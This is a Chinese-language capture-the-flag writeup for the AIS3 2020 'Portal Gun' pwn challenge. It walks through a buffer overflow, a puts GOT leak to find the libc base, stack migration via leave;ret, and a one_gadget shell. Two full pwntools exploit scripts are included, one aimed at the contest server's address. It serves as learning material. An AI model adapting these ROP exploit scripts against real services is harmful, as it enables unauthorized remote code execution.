AIS3 2020 Pre-Exam CTF Portal Gun Writeup
Author: Sophie Shin 
Time: 2020/06/10 10:00 A.M. 
為了配合AIS3要抽選手繳交 wirteup,就延後發文了
前言
2019 第一次參加 MyFirstCTF 之後有幸錄取 AIS3 課程,便開始入坑 pwn 
在那之前完全沒碰過組合語言,計算機組織也直到今年(大三)才修,
入坑一開始極其痛苦,發現很多觀念還沒學得很扎實,便開始看原文書《Computer Systems. A Programmer’s Perspective》,並且參與台灣好厲駭計畫,聆聽線上課程資源。 
去年只解出 BOF,今年的 pwn 很幸運的解出了 3 題,也靠 pwn 才足以進 Pre-Exam 前一百名,但還是有待加強! 
Portal Gun 應該是我至今解過算是很有挑戰的題目 (等級還不足XD),就認真寫了 Writeup 
使用的分析工具
- GDB-peda
- objdump
- readelf
- ROPgadget
- onegadget
- r2
流程
- 
使用 file指令觀察:
- 
接著使用 checksec指令 (GDB-peda 有內建也可以使用)
發現檔案並沒有開啟 Canary 保護
此題透過 objdump 或 r2 觀察後發現,裡面有 import system() 函式,因此可先以 Buffer overflow 的手法來 hook system()
- 使用 objdump -d -M intel ./portal_gun | less來觀察整個程式行為
 objdump 工具的方便在於,可直接觀察整個程式的流程,並且可透過搜尋或grep的方式,來直接判斷是否有可用的進入點,例如是否有 importsystem(),或是呼叫system("/bin/sh")等。
嘗試寫了腳本,在本地端確實成功地執行 shell !
from pwn import *
offset = 0x70
call_sys = 0x4006e8
payload = 'a'*offset + p64(call_sys)
p = process("./portal_gun")
#p = remote("60.250.197.227", 10002)
p.recvline()
p.recvline()
p.sendline(payload)
p.interactive()
p.close()
以為這樣就能成功,但是… Hook Dection! 
仔細思考,題目除了給 portal gun 檔案,還給了 libc.so.6 和 hook.so 
使用 r2 觀察 hook.so 裡 system() 被呼叫的行為,只有單純印出 ** system function hook ** 就 return 了,也就是說 此題的 portal_gun 有將 system() 的程式行為竄改過,因為引入了 hook.so 的 system() 來使用 
因此,我們必須使用 libc.so.6 計算出 C library base address 來取得 shell,難度頓時增加許多。 
- 計算 library base address 
 使用readelf -a libc.so.6 | grep "puts"來找出puts()在libc.so.6的 offset
再透過 BOF 的手法來使用 gets 函數,
使用 ROPgadget --binary portal_gun | grep "pop rdi.*ret$" 找出可用的 gadget pop rdi ; ret 後,便可在 return 到 puts() 前,放入 puts_got 的位址,之後在 return 到 puts() 時,便能 leak 出 puts 在程式實際執行的位址,計算出實際的 library base address
計算出 base 位址後,使用 onegadget libc.so.6 找出執行 execve("/bin/sh", 0, 0); 的 offset,加上 base 之後,即實際的執行位址 (變動的)
- return gets(),使用 ROP 手法輸入 gadgets 
 使用pop rdi ; ret這個 gadget,放入 data section 的位址 (要寫入的位址),在 return 到gets()時,就會再次將 payload 輸入到 data section 中
並使用 leave; ret 的 gadget ,來達到 stack migration 的手法,將 stack pointer 挪到 data section 使用,以便執行一連串的手法來執行 shell
解法如下:
from pwn import *
puts_got = 0x601018
libc_puts = 0x0809c0
one_gadget = 0x4f322
call_puts = 0x400560
call_gets = 0x400580
main = 0x400720
offset = 0x70 # 0x70+8 to return
data_sec = 0x601040
pop_rdi = 0x4007a3 # pop rdi ; ret
ret = 0x400291 # ret
pop_rbp = 0x400608 # pop rbp ; ret
leave = 0x40073b # leave ; ret
#p = process("./portal_gun")
p = remote("60.250.197.227", 10002)
p.recvline()
p.recvline()
payload = 'a'*offset + p64(data_sec) + p64(pop_rdi) + p64(puts_got) + p64(call_puts) 
payload += p64(pop_rdi) + p64(data_sec) + p64(call_gets)
payload += p64(leave) + p64(data_sec) + p64(leave)
p.sendline(payload)
# leak
leak_addr = p.recvline()
puts_run_address = u64(leak_addr[:-1].ljust(8, "\x00")) # u64
print(hex(puts_run_address))
base = puts_run_address - libc_puts
call_shell = base + one_gadget
# input payload in data section
payload = p64(call_shell) + p64(ret) + p64(ret) + p64(call_shell)
p.sendline(payload)
p.interactive()
p.close()








